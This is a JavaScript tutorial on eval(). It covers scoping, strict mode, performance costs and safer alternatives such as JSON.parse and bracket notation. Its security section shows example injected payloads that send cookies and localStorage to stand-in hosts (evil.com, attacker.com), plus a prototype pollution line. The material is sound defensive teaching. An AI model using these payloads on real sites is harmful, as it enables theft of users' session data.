Every programming language has features that are powerful but dangerous. In JavaScript, eval() sits at the very top of that list. It takes a string of code and executes it at runtime, giving you the ability to dynamically generate and run any JavaScript. This sounds incredibly flexible, and it is, but that flexibility comes at a steep cost in security, performance, and maintainability.
This guide explains exactly how eval() works, why it exists, what makes it dangerous, and most importantly, what safer alternatives you should use instead.
eval(): Executing Dynamic Code
The eval() function takes a single string argument and executes it as JavaScript code. It returns the result of the last expression evaluated.
eval("2 + 2"); // 4
eval("console.log('Hello from eval')"); // prints: Hello from eval
let result = eval("let x = 10; let y = 20; x + y;");
console.log(result); // 30The string can contain anything that is valid JavaScript: variable declarations, function definitions, loops, conditionals, and even class definitions:
eval("function greet(name) { return 'Hello, ' + name; }");
console.log(greet("Alice")); // "Hello, Alice"
eval(`
for (let i = 0; i < 3; i++) {
console.log("Iteration: " + i);
}
`);
// Iteration: 0
// Iteration: 1
// Iteration: 2If the string is not valid JavaScript, eval() throws a SyntaxError:
eval("this is not valid code");
// SyntaxError: Unexpected identifierIf the string contains multiple statements, eval() executes all of them but only returns the value of the last expression:
let result = eval("1 + 1; 2 + 2; 3 + 3;");
console.log(result); // 6 (only the last expression's result)eval() Can Access and Modify the Local Scope
This is where things get interesting and dangerous. A direct call to eval() can read and write variables in the surrounding scope:
let message = "original";
eval('message = "modified by eval"');
console.log(message); // "modified by eval"It can even declare new variables that become visible in the surrounding scope (in non-strict mode):
eval("var newVar = 42;");
console.log(newVar); // 42Scope of eval: Direct vs. Indirect
JavaScript distinguishes between two types of eval() calls, and they behave very differently.
Direct eval
A direct eval is a call where you literally write eval(...). It executes the code in the current lexical scope, meaning it can access and modify local variables:
function directExample() {
let secret = "hidden";
eval('console.log(secret)'); // "hidden" (accesses the local variable9
}
directExample();Indirect eval
An indirect eval is any call to eval that does not look like a plain eval(...) call. It executes the code in the global scope instead:
function indirectExample() {
let secret = "hidden";
// All of these are indirect eval calls:
const myEval = eval;
myEval('console.log(typeof secret)'); // "undefined" (no access to local scope)
(0, eval)('console.log(typeof secret)'); // "undefined"
window.eval('console.log(typeof secret)'); // "undefined"
}
indirectExample();The (0, eval) trick is the most common pattern for indirect eval. The comma operator evaluates 0 (discards it), then returns eval, but the call is no longer a "direct" reference to eval, so it runs in global scope.
Comparing Direct and Indirect
let globalVar = "I am global";
function scopeTest() {
let localVar = "I am local";
// Direct eval: sees local scope
console.log(eval("localVar")); // "I am local"
// Indirect eval: sees only global scope
const indirectEval = eval;
try {
console.log(indirectEval("localVar"));
} catch (e) {
console.log(e.message); // "localVar is not defined"
}
// Indirect eval CAN see global variables
console.log(indirectEval("globalVar")); // "I am global"
}
scopeTest();Strict Mode Changes the Behavior
In strict mode, even direct eval() gets its own scope. Variables declared inside eval() do not leak into the surrounding scope:
"use strict";
eval("var x = 10;");
// console.log(x); // ReferenceError: x is not defined
eval("let y = 20;");
// console.log(y); // ReferenceError: y is not definedCompare this with non-strict mode:
// Non-strict mode
eval("var x = 10;");
console.log(x); // 10 (leaked into the outer scope!)Security Risks
The security dangers of eval() cannot be overstated. By executing arbitrary strings as code, you open the door to some of the most severe vulnerabilities in web security.
Code Injection
If eval() processes any input that comes from users, URLs, databases, APIs, or any external source, an attacker can inject malicious code:
// Imagine a "calculator" feature
function calculate(expression) {
return eval(expression); // DANGEROUS!
}
// Normal usage
calculate("2 + 2"); // 4
// Attacker input
calculate("(function() { document.location = 'https://evil.com/steal?cookie=' + document.cookie })()");
// The user's cookies are sent to the attacker's serverCross-Site Scripting (XSS)
When user input reaches eval() in a web application, it becomes a direct XSS vector:
// A URL like: https://example.com/page?input=alert(document.cookie)
const params = new URLSearchParams(window.location.search);
const userInput = params.get("input");
eval(userInput); // Attacker's code runs in the user's browserData Exfiltration
Even seemingly harmless uses can be exploited. An attacker does not need alert() to cause damage:
// Attacker could inject:
eval(`
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: JSON.stringify(localStorage),
url: window.location.href
})
})
`);Prototype Pollution via eval
// Attacker injects code that modifies Object prototype
eval("Object.prototype.isAdmin = true;");
const user = {};
console.log(user.isAdmin); // true (every object is now "admin")Content Security Policy (CSP)
Modern web applications use Content Security Policy headers to block eval() entirely. If your site sets a proper CSP, eval() will throw an error:
Content-Security-Policy: script-src 'self'eval("1 + 1");
// EvalError: Refused to evaluate a string as JavaScript because
// 'unsafe-eval' is not an allowed source of scriptTo allow eval(), you would need to add 'unsafe-eval' to your CSP, which weakens your entire security posture. Many security audits will flag this as a vulnerability.
Performance Impact
Beyond security, eval() causes significant performance problems.
JavaScript Engine Optimization Breakdown
Modern JavaScript engines (V8, SpiderMonkey, JavaScriptCore) use sophisticated optimizations: Just-In-Time (JIT) compilation, inline caching, hidden classes, and more. These optimizations rely on the engine's ability to analyze your code before it runs.
eval() breaks this analysis. When the engine sees eval(), it must assume that any variable in the current scope could be read or modified by the eval'd code. This forces the engine to:
- Skip optimizations for the entire function containing
eval() - Keep all local variables in memory (they cannot be optimized away)
- Disable inline caching for variable lookups in that scope
- Compile the string at runtime instead of ahead of time
// This function CANNOT be fully optimized by the engine
function withEval(input) {
let a = 1;
let b = 2;
let c = 3;
// Engine must keep a, b, c alive because eval might reference them
eval(input);
return a + b + c;
}
// This function CAN be fully optimized
function withoutEval() {
let a = 1;
let b = 2;
let c = 3;
return a + b + c;
}Benchmark: eval() vs. Direct Code
// Slow: parsing and compiling at runtime
console.time("eval");
for (let i = 0; i < 100_000; i++) {
eval("let x = " + i + " * 2;");
}
console.timeEnd("eval"); // ~500-2000ms (varies by engine)
// Fast: pre-compiled
console.time("direct");
for (let i = 0; i < 100_000; i++) {
let x = i * 2;
}
console.timeEnd("direct"); // ~1-5msThe Scope Deoptimization Problem
Even if eval() runs trivial code, its mere presence in a function deoptimizes the entire function:
function deoptimized() {
let count = 0;
for (let i = 0; i < 1_000_000; i++) {
count += i;
}
eval(""); // Does nothing, but deoptimizes the entire function
return count;
}
function optimized() {
let count = 0;
for (let i = 0; i < 1_000_000; i++) {
count += i;
}
return count;
}In some engines, deoptimized() can run measurably slower than optimized() even though the eval("") call does absolutely nothing.
Alternatives to eval()
For virtually every use case where developers reach for eval(), a better, safer alternative exists.
JSON.parse() for Data
The most common misuse of eval() is parsing JSON data. In older JavaScript (before JSON.parse existed), eval() was actually used for this:
// WRONG: The old, dangerous way
const data = eval("(" + jsonString + ")");
// CORRECT: The safe, fast, modern way
const data = JSON.parse(jsonString);JSON.parse() only accepts valid JSON. It cannot execute arbitrary code, which makes it completely safe:
// eval would execute this malicious "JSON"
eval('({ "name": "Alice", "hack": (function() { /* malicious code */ })() })');
// JSON.parse safely rejects it
JSON.parse('{ "name": "Alice", "hack": "some value" }'); // Only parses valid JSONnew Function() for Dynamic Code Generation
If you need to create a function from a string, new Function() is safer than eval() because it does not access the local scope. It only has access to global variables and its own parameters:
// eval: accesses local scope (dangerous)
function withEval() {
let secret = "password123";
eval('console.log(secret)'); // "password123" (eval sees local variables)
}
// new Function: does NOT access local scope (safer)
function withNewFunction() {
let secret = "password123";
const fn = new Function('console.log(typeof secret)');
fn(); // "undefined" (cannot see local variables)
}
withEval();
withNewFunction();You can define parameters and use them:
const add = new Function("a", "b", "return a + b;");
console.log(add(3, 4)); // 7
const greet = new Function("name", "return 'Hello, ' + name + '!';");
console.log(greet("Alice")); // "Hello, Alice!"Computed Property Access Instead of eval
A common pattern where developers mistakenly use eval() is dynamic property access:
// WRONG: Using eval for dynamic property access
const propName = "name";
const value = eval("obj." + propName);
// CORRECT: Bracket notation
const value = obj[propName];This also works for nested paths:
// WRONG: eval for nested access
eval("obj.user.address.city");
// CORRECT: A helper function
function getNestedValue(obj, path) {
return path.split(".").reduce((current, key) => current?.[key], obj);
}
const obj = { user: { address: { city: "Paris" } } };
console.log(getNestedValue(obj, "user.address.city")); // "Paris"
console.log(getNestedValue(obj, "user.phone.number")); // undefined (safe)The Function Constructor for Mathematical Expressions
If you need to evaluate simple mathematical expressions (like in a calculator app), you can create a restricted evaluator:
// WRONG: eval for math
function calculate(expr) {
return eval(expr); // Dangerous!
}
// BETTER: new Function with validation
function safeCalculate(expr) {
// Allow only numbers, operators, parentheses, and whitespace
if (!/^[\d+\-*/().\s]+$/.test(expr)) {
throw new Error("Invalid expression");
}
return new Function(`return (${expr});`)();
}
console.log(safeCalculate("2 + 3 * (4 - 1)")); // 11
console.log(safeCalculate("10 / 3")); // 3.333...
safeCalculate("alert('hacked')");
// Error: Invalid expressionObject/Map Lookup Instead of eval for Branching
Sometimes eval() is used to dynamically call functions by name:
// WRONG: eval for dynamic dispatch
function processAction(actionName) {
eval(actionName + "()");
}
// CORRECT: Object lookup
const actions = {
save() { console.log("Saving..."); },
delete() { console.log("Deleting..."); },
update() { console.log("Updating..."); }
};
function processAction(actionName) {
const action = actions[actionName];
if (action) {
action();
} else {
throw new Error(`Unknown action: ${actionName}`);
}
}
processAction("save"); // "Saving..."
processAction("delete"); // "Deleting..."
processAction("hack"); // Error: Unknown action: hacksetTimeout and setInterval with Strings
Both setTimeout and setInterval accept strings as their first argument, which behaves like eval():
// WRONG: String argument (uses eval internally)
setTimeout("console.log('hello')", 1000);
// CORRECT: Function argument
setTimeout(() => console.log("hello"), 1000);Template Literals for String Interpolation
Sometimes eval() is used for dynamic string building:
// WRONG: eval for string interpolation
const name = "Alice";
const greeting = eval("`Hello, ${name}!`");
// CORRECT: Just use template literals directly
const greeting = `Hello, ${name}!`;Structured Clone for Deep Copying
// WRONG: eval-based deep copy trick
const copy = eval("(" + JSON.stringify(original) + ")");
// CORRECT: structuredClone
const copy = structuredClone(original);
// ALSO CORRECT: JSON round-trip (with known limitations)
const copy = JSON.parse(JSON.stringify(original));Summary of Alternatives
| Use Case | Instead of eval() |
Use This |
|---|---|---|
| Parse JSON | eval('(' + json + ')') |
JSON.parse(json) |
| Dynamic property access | eval('obj.' + prop) |
obj[prop] |
| Dynamic function call | eval(fnName + '()') |
actions[fnName]() |
| Math expressions | eval(expr) |
math.js, expr-eval library |
| Dynamic function creation | eval('function...') |
new Function(...) |
| String interpolation | eval(templateStr) |
Template literals |
| Timer with string | setTimeout('code', ms) |
setTimeout(fn, ms) |
| Deep copy | eval('(' + JSON.stringify(o) + ')') |
structuredClone(o) |
When is eval() Acceptable?
In practice, the legitimate use cases for eval() are extremely rare. Here are the few scenarios where it might be considered:
Developer tools and debugging: Browser DevTools consoles use eval() internally. This is expected and runs in a privileged context.
Code playgrounds and online editors: Sites like CodePen, JSFiddle, or educational platforms intentionally execute user code. They use sandboxing techniques (iframes with different origins, Web Workers, or server-side execution) to limit the damage.
Transpilers and build tools: Tools like Babel or Webpack may use eval() or new Function() internally during the build process, not at runtime in the browser.
Backward compatibility with legacy systems: Some ancient codebases may depend on eval() in ways that are too costly to refactor immediately.
Even in these cases, the code using eval() is typically sandboxed, running in an environment where the security implications are understood and mitigated.
// Example: A sandboxed evaluator using an iframe
function sandboxedEval(code) {
return new Promise((resolve, reject) => {
const iframe = document.createElement("iframe");
iframe.style.display = "none";
iframe.sandbox = "allow-scripts";
document.body.appendChild(iframe);
try {
const result = iframe.contentWindow.eval(code);
resolve(result);
} catch (e) {
reject(e);
} finally {
document.body.removeChild(iframe);
}
});
}Quick Reference
| Aspect | Details |
|---|---|
| Syntax | eval(string) |
| Returns | Result of last evaluated expression |
| Direct eval | Accesses local scope |
| Indirect eval | Runs in global scope only |
| Strict mode | Creates its own scope, no variable leakage |
| Security | Vulnerable to code injection and XSS |
| Performance | Deoptimizes containing function, runtime compilation |
| CSP | Blocked unless 'unsafe-eval' is explicitly allowed |
| Best alternative | Depends on use case (see table above) |
The existence of eval() in JavaScript is a historical artifact from the language's early days when flexibility was prioritized over security. Modern JavaScript provides enough tools, from bracket notation to JSON.parse to Proxy to new Function, that eval() is effectively never needed in application code. Treat it as a language feature you understand but never use.